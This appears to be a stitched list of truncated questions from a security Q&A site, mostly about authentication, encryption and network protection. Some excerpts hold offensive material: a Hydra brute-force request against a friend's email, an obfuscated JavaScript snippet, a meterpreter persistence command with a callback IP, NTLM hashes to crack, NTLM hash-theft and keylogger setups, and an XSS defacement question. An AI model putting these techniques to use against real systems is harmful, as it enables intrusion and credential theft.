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I'm writing a RESTful API for a website I'm building and it has methods that use user permissions. For example, I have a method called removeResource(resource_id: int, user: string). The larger pipeline is the user logs in which called an API method that checks their username and password, then if their password is cor... |
I am interested in exposing web content to strangers on the internet (Reddit, Discord, ..).
This content I wish to reside on the same web server under which personal web content resides.
(None of this content yet exists, and I'm not set on a specific web server or programming language.)
VPS (with single IP Address and ... |
I'm trying to understand the different roles that DoT / DoH and HTTPS are playing when it comes to protecting sensitive data in the internet. I spend the day reading a lot of stuff about DoT, HTTPS, TCP and IP.
But there is one thing that doesn't become clear to me: say I want to surf to https://www.myForbiddenSite.org... |
I was trying to use a state-owned mobile payment app to conduct some transaction on the internet and, thanks to an error message, I found out that my card number and the amount I'm paying were sent via a GET request.
Other data on the request: the name of the service and an HMAC. And, yes, it's on HTTPS but I don't bel... |
On my Android phone I use several apps that propose biometric authentication. If I enable it, can these applications read my fingerprint data and transfer it to the third party servers?
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Today I was playing around with an SslStream implementation in C#, and was able to create a client/server connection over TCP. Also to verify it, I used wireshark to ensure that the data was in fact encrypted, but I have a couple of questions.
First, I should explain the process I went through.
Create a TCP client wit... |
One of the banks that provides identity theft monitoring to accountholders notified me that my email address was included in a recent data breach, along with a password, but without any indication of where this email and password was used. I asked if they could provide the (already compromised) password so I could fin... |
From what I have understood, for public facing clients such as JavaScript apps that run on the browser or mobile apps which have no backend there is no secure place to store client id and secret. Therefore, the client will generate a random string code a.k.a code challenge (plain).
And then:
Client sends ClientID, secr... |
One commonly used iptables rule for Linux servers is this:
# iptables -A INPUT -i lo -j ACCEPT
Can we assume that this rule will only accept traffic which is sent from the local machine?
Is it possible for a remote attacker to craft a packet that says "I arrived through the loopback interface", even if the packet arri... |
As per my understanding both JWT and Basic Auth used to store login credentials on client side and avoid sessions for better scalability. I understand with Basic Auth login credentials will be sent along with each request which is a security risk incase of http but with https these credentials will be encrypted which ... |
My question is pretty short: is passlib cryptocontext verify method vulnerable to timing attacks, which would an attacker allow to narrow down the real password?
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I'm trying to get into my friend's email (he is okay with it, we discussed it) and I'm using Hydra, but it has a limit to its bruteforcing that I can't seem to bypass, does anyone know how I can?
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We have a web application that stores cached information in browser (both is firefox and chrome).
When we subjected it to Penetration Testing, a finding was filed saying that "Senstive Data such as Database Name, Storage and Version were found stored in the local IndexedDB".
Although clicking each DB do not reveal any ... |
I have came across a REST API for some commercial software, that checks authentication by requiring HMAC on concatenation of
http_method (GET, PUT, etc)
timestamp
payload (body of a POST / PUT request if any)
path (everything between https://domain.tld and the first question mark)
This HMAC then is passed in a reques... |
I'm trying to validate / test and XSS attack; however when I navigate to the page, the browser (tried on Chrome and Edge) tells me:
A parser-blocking, cross site (i.e. different eTLD+1) script,
is invoked via document.write. The network
request for this script MAY be blocked by the browser in this or a
future page loa... |
I'm trying to run my hashcat as automated and efficient as possible.
I have a file with NTLM hashes:
607C4CDCDA0EFBF023C4DEA52DF90641
D25ECD13FDDBB542D2E16DA4F9E0333D
AAD063F78DA1183CBD8BD7812FADF9C6
CAD4D65FCEA4B029A54DC1161A0C0456
38D7BBBC05F6BBB4ABC047E707029429
BFED4B770BF3578B26B623ED98F9091A
53760E5D6473ECDE30E04... |
I've been watching videos of scammers being tricked. Frequently, the scammer makes their scam victim install some weird "remote desktop" program claimed to be for tech support purposes. These programs apparently allow the person connecting to the host (victim) computer to "black the screen" so that it becomes impossibl... |
I'm developing an application that will connect to Microsoft SQL Server in a local network:
I'm considering whether these connections need to use TLS
Or whether to leave it to the customer's administrators to use an encrypted tunnel, if they see fit. they may have other third party applications, also connecting to SQL... |
Some time ago, Bluetooth was hit by a severe exploit (KNOB attack) that rendered its encryption pretty much useless. Publishers like the German Heise summarized it in an article* as an issue in the firmware of Bluetooth radio affecting BR/EDR only. Therefore, BLE appears to be still secure. My question is if that's rea... |
Considering using echo -n "passphrase" | gpg --batch --passphrase-fd 0 ... inside of Bash script (which should mitigate leaking passphrase to process list given echo is a built-in command, right?).
I need to know passphrase to create shares of it using Shamir Secret Sharing later in the script.
How can I supply string ... |
Can an attacker from global network hack a database located on office machine inside of local office network? For example after hacking a router, a gateway or the very machine? Or maybe there is another way for him? Is it possible to make local network with database absolutely secure? Maybe to turn the database on just... |
I've taken measures and thoughts on how to securely store and manage my key pair. In the process of it a few questions arose, which I'm not capable of answering yet. My key pair will be used to encrypt passwords and documents of banks, insurances, invoices, photos and the like. All this data is not publicly available. ... |
I installed the lastest version of PostgreSQL (13.2) to understand it better and I used the command SELECT usename, passwd from pg_shadow; to extract the hash with the default username postgres but I could not find any documantation of how to crack the password hash using john or hashcat so how can I do that ?
the hash... |
Ctrl+Alt+Del is a secure attention sequence (Microsoft) (or secure attention key (Wikipedia), but it's more a Linux term).
As we can read,
A key sequence that begins the process of logging on or off. The default sequence is CTRL+ALT+DEL.
it is only the default sequence, which means that other sequences might exist. I... |
Is it safe to refresh your access token using your access token (assuming of course it is still valid)?
And, if not, what makes a refresh token that much more special that it is safe to be used as a means of refreshing access tokens?
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I find that names and terms used in relation to Trusted (Trustworthy, Confidential,..) Computing are highly interchanged and thus creating confusion for laymen as am I.
Trusted Computing has been around since the 90's and the idea is being tried to be kept up to date with today's standards but the initial idea is that ... |
On the website of some company, it is possible to send personal data using a form. The browser I'm using says that the connection is secure.
Is it completely secure to send personal data via the form?
Is there any possibility that an attacker can grab the data, or maybe the data could be stored anywhere between my PC a... |
I was told that IP whitelisting should not be considered safe and are hence obsolete.
I fail to understand why this statement holds: can IPs be impersonated? if not, then why is it a bad/obsolete way of securing a service? (assuming the traffic can't be sniffed)
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This proposal concerns a strategy for isolating the permissions given to plugins in a plugin architecture. I'm looking for insight into whether this design can succeed in isolating those permissions.
Access to the entire site is controlled via OAuth2. That is, on first logging in, a user completed the oauth flow. On su... |
I know that my ISP can detect when I am using a VPN, but can it see which protocol I am using?
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A friend of mine wants to use a Proxy on his home computer because his parents have blocked many games and social media services. My question is, if he is using a Proxy, will his parents be able to see that he is using a Proxy?
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I understand that there are multiple reasons that a recovery key might be needed on a system partition, but why would I want the extra security risk of having a way of circumventing my password for removable media?
Why is windows asking for my recovery key?
Windows will require a BitLocker recovery key when it detects... |
Update (April 15): The forked repo and the user do not exist any more.
Yesterday, one of my GitHub projects was forked and there is a suspicious commit on the fork of the repo. As you can see from the commit the GitHub Actions configuration installs ngrok on the server, enables firewall access to rdp and enables rdp on... |
Our small company needs to store sensitive data in the cloud. We are debating VPS's or rented bare-metal servers due to cost. Our threat model includes malicious sysadmins working at the hosting provider and this is what we are focusing on, not side-channel attacks from other customers on the VPS etc. Our policies requ... |
SCTP INIT has client random parameter.
SCTP INIT ACK has server random parameter.
There are no shared keys.
Using SHA-1, what key does the client or server use when performing the HMAC calculation?
Does the sender use their own random parameter as the key?
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I gather from the cryptsetup manpages that LUKS2 uses argon2i by default for strengthening a user-password to decrypt the partition. However if a 256 bit keyfile with data from /dev/random, how does a KDF make guessing that password harder?
Wouldn't you just have the 2^256 probability either way then? So an attacker wo... |
Is RCE (Remote Code Execution) just ACE (Arbitrary Code Execution) over a network or is there an example where RCE is not ACE? Is RCE always the more severe of the two (with respect to gaining system admin privileges), or would it depend on what application has the vulnerability (and system privileges that app runs wit... |
I'm building a URL-shortening tool. For an arbitrary link, I need to produce a fixed-length slug which will index the full URL in a database. For prettiness reasons, I'd like to keep the slug reasonably short (8 alphanumerical characters seems reasonable).
It seems obvious to me that using a hash function with output t... |
javascript: var _0x1166=['\x72\x65\x74\x75\x72\x6e\x20','\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72','\x6b\x65\x79\x64\x6f\x77\x6e','\x6b\x65\x79\x43\x6f\x64\x65','\x6e\x67\x2d\x62\x69\x6e\x64\x69\x6e\x67\x20\x62\x74\x6e\x20\x62\x74\x6e\x2d\x6d\x69\x6e\x69\x20\x62\x74\x6e\x2d\x62\x6c\x75\x65\x20\x... |
I have 2 YubiKeys and want one of them to be a backup. So let's say I generated a key $KEY in my computer with an encryption subkey. I need to export the secret keys, because when moving them to the card they disappear, and then reimport them.
So I export them with
gpg2 -a -o secmain.asc --export-secret-key --armor $KE... |
I have implemented an authentication system which works like this:
Upon successful login, the server takes the username of client and encrypts it with AES-256.
This ciphertext is stored in the client's browser and when the client wants to do something which requires login, this ciphertext is sent to the server. The s... |
The following constraints apply
cannot use physical storage medium (such as Safe/ Vault)
the service used to store secret/ password should be highly available and accessible from anywhere in the world.
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I just noticed that AWS provides a service that checks your users' passwords for corporate password rule compliance "periodically": https://docs.aws.amazon.com/config/latest/developerguide/iam-password-policy.html
This makes me afraid that AWS stores encrypted passwords instead of storing hashes of passwords. Is that t... |
Here is the scenario:
running id gives this :
uid=1001(test1) gid=1001(test1) euid=1000(bl4ckc4t) groups=1001(test1) -
This means that I am user test1, but my euid is set to another user.
My goal is to get my uid to change to 1000 from my current position with my euid being 1000.
The problem is that running something l... |
Maybe someone can help me.
I have to decrypt the Vigenere Chiffre : AAAAAAAAAAAA
This is all what is given. So I have no keylength or something. I think I'm not supposed to do a brute force attack.
I actually do know how the decryption with Vigenere works. I have already written a program for a different text to transl... |
How to solve this error?
meterpreter > run persistence -S -i 7 -p 4444 -r 192.168.134.129
[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.ms... |
I'm looking to verify the security of the OAuth mechanism for an application I'm testing. The application uses Okta for SSO and the PKCE OAuth flow.
What I'm not clear on is how the backend is verifying the Access Token, given the configuration supplied to the Okta SDK. The only configuration passed to the SDK is the O... |
The reason I am asking this is the following:
My boss wants me to sell a backup solution where encrypted backups are to be stored at our site. But we shouldn't have the key to decrypt them (in case we are hacked). The backups should also only be tested on the client's side, not on ours. Because according to him, this w... |
When you establish a new SSL connection, during handshake the server sends you his certificate together with public key. Then the browser checks the certificate againts CA. However I do not understand based on what the CA decides that the server I want to talk to is the corrent one ? Is it based on the IP address ?
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Decided to have a look at a list of "open" proxies. I've noticed that a good deal of these proxies are on residential IPs.
One of the IPs, 68.188.59.198, is owned by Charter Communications and looks to be the IP of someone's house. It looks to have a few other random ports open, such as a VPN, telnet, and an additional... |
Take an example of google maps. google maps provides a javascript client SDK, which means any web app running javascript can access the google maps sdk. You need to use an API_KEY so that google can rate limit your requests, and apply some quota on the requests coming from your api key. If you exceed the quota you woul... |
A common multi factor authentication solution will ask a user for a username+password and a one-time password.
In all documents I can find both factors are asked by the same identity provider. This can be the website itself or for example when it supports 'Login with Google' it can be Google who also asks for an OTP.
O... |
I was wondering that, when a hacker is trying to hack a Wi-Fi network, they would try to capture a handshake and then try to decrypt it, whereas when you want to log in to your Wi-Fi access point, you would type in your password, the password would be encrypted, and then sent to the router which would decrypt it using ... |
I'm not sure if there is already a question here about this because I can't find anything. But I'm wondering if there are any "safer" ways to print sensitive information without leaving traces on the printer (sensitive data in caches, internal memory, etc.), or at least ways to reduce those traces.
Suppose I need to pr... |
When I first used this mouse and keyboard, my PC died shortly after. Today I used it and it somehow corrupted my Linux.
I once put a clean Linux on a laptop and plugged this mouse in and left it, several times the laptop came out of sleep without being touched.
I have suspicions that it's effectively a "rubberducky" an... |
I have a 60-bit RSA public key and a file encrypted with it. Since RSA with keys under 256 bits should be crackable with even limited computational resources, is it possible to obtain the decrypted file?
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I bought a Galaxy S20 Fe, logged my LastPass in it and all of my accounts (google, twitter, etc).
Now it has a malfunction and I'm going to have to send it back to get my money back.
When I factory reset an Android, I presume that it zeroes the memory in the writable partition of Android. This would explain why it take... |
I'm the sole person who has access to this router. I turned uPnP off and have twice found it turned back on in recent weeks. The Router is Asus DSL-AC68U.
I have a VPN running at the router level, installed about a month ago. I've recently updated the firmware on it too but after extensive searching neither of those sh... |
I've been reading about how powerful frameworks such as Empire and Metasploit are but I'm confused about something.
Say I gain access through a custom reverse-shell which I self-coded (so it bypasses AVs). Now, for privilege escalation, I want to have a meterpreter/Empire session.
How can I do that if the payload gener... |
Does current PCI code require SSH connections be restricted to enumerated (specific) client IP addresses on the unsecure, dirty side? Isn't that outside the scope of the PCI code?
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I'm planning to add an "official" command line tool for developers to interact with our API. The tool is basically just a glorified curl client, interacting with the API via HTTPS exclusively. To make this convenient for developers, it should allow them to authorize the CLI using their existing user account, using an a... |
What would be the recommended approach (industry standard) for generating a password for a Java keystore that contains TLS certificates? In the event that the keystore is obtained, an attacker would have unlimited time to brute force the password.
Would a UUID be the best approach? What is the best way to easily genera... |
I have some questions about CSRF protection, specifically about the "double submit cookie" pattern.
What I have learned so far, is that this pattern has some weaknesses.
But we can add some improvements to protect ourselves from them.
Some of them are:
Sign cookie
Bind cookie to user
Use custom HTTP header to send req... |
I'm trying to intercept and decipher scripted code that is sent to a previously installed Windows application, after a user have clicked on a particular URL in their web browser which is somehow returning a MIME response that is intercepted by the Win app and processed as a script/program.
The particular example of con... |
I am learning about SQLi (SQL injection) and I know that the solution to avoid them is prepared statements. However, does this mean that without them we are sure that we can get hacked? Are prepared statements the only solution? I was thinking about that and I have decided to write a piece of code that I think is safe ... |
Recently, stumbled upon the new FB 500m+ leak and decided to satisfy my curiosity and poke around.
Basically just wanted to see how 500m+ user records were kept and what info was released( it was pretty much all publicly scrapable data with ocassional email address.)
Curiosity satisfied, I guess.
BUT.. what is this! Sl... |
I am looking for alternatives, that are less strict and less time consuming, than ISO 27001. Australia is in the Commonwealth, so maybe Cyber Essentials Plus could work, but I do not know if that plays a part in it being recognized by the Australian Government. Any suggestions? Thanks!
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Is there any remote FDE decryption that is resistant to an attacker that has local physical access?
Tools like dracut-sshd need to store the private key used for the sshd server on the unencrypted boot partition, so a local attacker has the ability to become a MITM and sniff the decryption password.
Can using a TPM to ... |
I need to implement some hashing scheme for an open-source project. This is what I currently have and I'd like to hear whether this is secure enough -
The password is hashed using PBKDF2-SHA256 (which I prefer over bcrypt simply because OpenSSL supports it natively) with 2048 iterations.
The salt is actually a concaten... |
I have a ROOT_CA and a subCA. The subCA issued a certificate for a website (CUPS1.local). Moreover I have Windows clients; the ROOT_CA is already installed as Trusted Root Certification Authorities.
Validating the subCA works using openssl verify and also I can see it in Windows.
I can also verfiy the certificate for C... |
I am having some problems with understanding which types of host keys my SSH daemon actually provides or supports (stock debian buster, sshd 7.9.p1). From the manual (man sshd_config):
HostKeyAlgorithms
Specifies the host key algorithms that the server offers. The default for this option is:
ec... |
Suppose I have a password, say "thisIsThePassword".
Then I have MD5 hashes of that password followed by an increasing numeric suffix:
MD5("thisIsThePassword1") = c5c038617ea97315f137606c4123789e
MD5("thisIsThePassword2") = 0a52caffe2e7904c832a257a406f903f
MD5("thisIsThePassword3") = 06683298a9c3cdf8940518db54c43758
...... |
I want to serve a Flask application from my pc. Other machines in my network only should be able to consume the API. However, I wish to have the communication between the other machines and the API secured using https with a self-signed certificate. For this reason (because serving Flask with waitress does not support ... |
I am practicing in a website which is vulnerable to XSS so as to learn better this kind of attacks. I have managed to inject somewhere the usual <script>alert('XSS')</script> and it seems to work fine. Apart from that what else can I do? Could I for example completely deface the website? If so, how can I do that? Is it... |
A company entrusts a Data Scientist with the mission of processing and valuing data for the research or treatment of events related to traces of computer attacks. I was wondering how would he get the train data.
I guess he would need to exploit the logs of the different devices of the clients and use statistical, Machi... |
I was looking at the installation instructions for VS Code today and found this step curious:
sudo apt install apt-transport-https
I see that there appears to be https transport available for apt:
$ ls -1 /usr/lib/apt/methods
cdrom
copy
file
ftp
gpgv
http
https
mirror
mirror+copy
mirror+file
mirror+ftp
mirror+http
mir... |
I'm looking into setting up 2-factor authentication for my registered accounts. However, when setting up 2FA, for example Reddit, you need to write down backup codes in order to regain access to your account in case you lose your smartphone.
I've already read this post.
But the whole point of using password managers (y... |
I have worked on many API integrations scenarios and I used 2 approaches to authenticate the API calls:
Using API Keys
For example inside Hubspot integration I use this web call to get all the accounts using API Key:
https://api.hubapi.com/companies/v2/companies/paged?hapikey=**********&properties=website&properties=... |
I'm trying to recreate a Watering hole SMB theft attack where you send a victim a link to your website containing code like file://ip/file.gif.
Causing forced authentication which passes the NTLM hash.
I have the code which executes the process (check reference links).
But how can I retrieve/steal the NTLM hash back ov... |
I'm trying to learn and solve some 'kernel related' ctf challenges (reading writups to try to run same environment and achieve root using one of the kernel-pwn technique...).
I'm using Ubuntu 20 VM and (for example) this challenge:
Unfortunately, only results I can see (no matter if I'm trying to solve mentioned challe... |
Background information:
I am not a computer scientist. However, in a research project I am currently building a ESP32-based sensor. Multiple sensors of this type are going to be used by multiple users.
Every time a user wants to utilize a sensor, the sensor needs to get the WiFi credentials of this specific user so tha... |
So, I am trying to add CSRF protection to my Next.js application. I have tried a development branch of the next-csrf library.
I have a couple of questions though:
The library saves the CSRF token as a cookie. Is this secure? Isn't it vulnerable to session hijacks?
Shall I refresh the token in every page? If I choose t... |
I am new to SSL certs and trying to understanding once the certificate is imported into the Certificate Store (in Windows), how do we associate the private key pair to the certificate? Is that by creating a pfx that would contain the certificate and private key and import that pfx into Certificate Store? We intent to u... |
An application I admin (but did not develop or implement) claims to be storing passwords in a database using “reversible encryption.”
I have access to the database table, and was able to work out that they’re really only obfuscated, and can determine the clear text values by applying a simple mapping. This seems very b... |
I am fairly new to Kali Linux and Metasploitable and I am trying to set a keylogger for when I gain root access to Metasploitable. I have gained root access by using the use exploit/unix/irc/unreal_ircd_3281_backdoor (I followed everything from here) and have successfully penetrated Metasploitable. However, I am using... |
Historically, we have learned that many security vulnerabilities and exploits have resulted from allowing document files to contain executable code, whether it be JavaScript, VBScript, another scripting language, or even macros.
As such, since the first days that JavaScript could be embedded into PDF files, I have disa... |
I am working as an intern for an online coding platform startup (similar to LeetCode or HackerRank).
The backend is written in Nodejs. Instead of running the code in a sandbox of some sort, the lead dev decided to execute the submitted code using a child process spawned from the main process, which is serving the web p... |
Today I received some e-mail to Thunderbird. It had image attached that I clicked:
Which sent me to onedrive.live.com/download?... and automatically downloaded .tgz file. I am not even sure if the file was really .tgz or it was fake extension. I didn't open the file, but Windows still made some preview inside download... |
I am currently looking at the logs of my server and it is currently targeted by an IP address in the Netherlands performing requests to routes such as /X.tar.gz, where they increment X from a to z and 0 to 9. The same happens without the gz extension.
I don't serve such content and all of these requests are actually re... |
In the diagram below, I have two options for authenticating into a protected resource. Both options use an Identity & Access Management (IDM) tool (in this case keycloak) to store credentials and present as a JWT once properly authenticated. The only real difference between both methods is where the IDM (keycloak) sits... |
As far as I have understood it:
An explicit proxy challenges the user/application within his session.
NGFW (transparent proxy) and SSO/identity-based solutions are just letting everything pass that is using the current IP address of the user.
I agree the latter is flexible with regard to roaming users (VPN, Wifi and ... |
I am using my computer, but am connected to my work's WiFi. Can my company see what websites I visit when am using Tor browser?
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Let's say I have two kind of files on my Windows desktop - first are files that can be published and shared with other people, second kind is confidential and should remain private.
To share files I compress them with Peazip. I am a bit paranoid of software bug that would cause other files to be added to archive (I rea... |
Are there any advanced security technologies, for example, establishing a secured connection, which first require authentication based on security through organic-like changing obscurity of secrecy?
I'm not a fan of "regular" security through obscurity, because hackers will eventually discover and bypass the vulnerabil... |
When I go to https://www.google.com/chrome/, I get redirected to sign in and then forwarded to some app engine link as can be seen in the continue parameter of the following URL:
https[:]//accounts[.]google[.]com/ServiceLogin/webreauth?service=ah&passive=true&continue=https%3A%2F%2Fuc.appengine[.]google[.]com%2F_ah%2Fc... |
I am reading on https://tryhackme.com/room/introtonetworking, it is talking about OSI model.
It said that Data Link layer trailer can increase security as the data can't be intercepted and tampered. How can it do it?. If it is because of the trailer added in at the end of the data, what stops a man-in-the-middle from c... |
Something about the flow of setting up 2-factor authentication is not clear to me.
This is the flow of setting up a Service* to use a 2-factor auth app**:
Choose setup 2-factor auth in the account security section. This shows up with a long key.
This key is copied and entered when adding a service account in a 2-fact... |
There's lots of "SMB is bad" parrotting online, and whenever I look closely, these claims are either unsubstantiated, or apply to unpached or misconfigured Windows servers or old versions of the SMB protocol.
If I put stuff like this in my smb.conf
server min protocol = SMB3
smb encrypt = required
tls cafile = /letsenc... |
We host our web application on a VPS, I maintain LAMP environment there to fulfill our client needs (I work on relatively small SaaS service provider), I also set up a script to backup the system regularly at night.
Our company had just upgraded all of our Linux VPS to specification of 5gb ram, 5 vcpu, 100gb ssd, etc.,... |
I'm having a hard time knowing whether the following setup is vulnerable to CRIME/BREACH type attacks (which target HTTPS).
I am running a Wireguard VPN that tunnels VXLAN protocol, using ChachaPoly20 encryption.
I would like to add CPU cheap compression (LZ4) on the VXLAN frames (RFC3173 likewise).
Would the fact that... |
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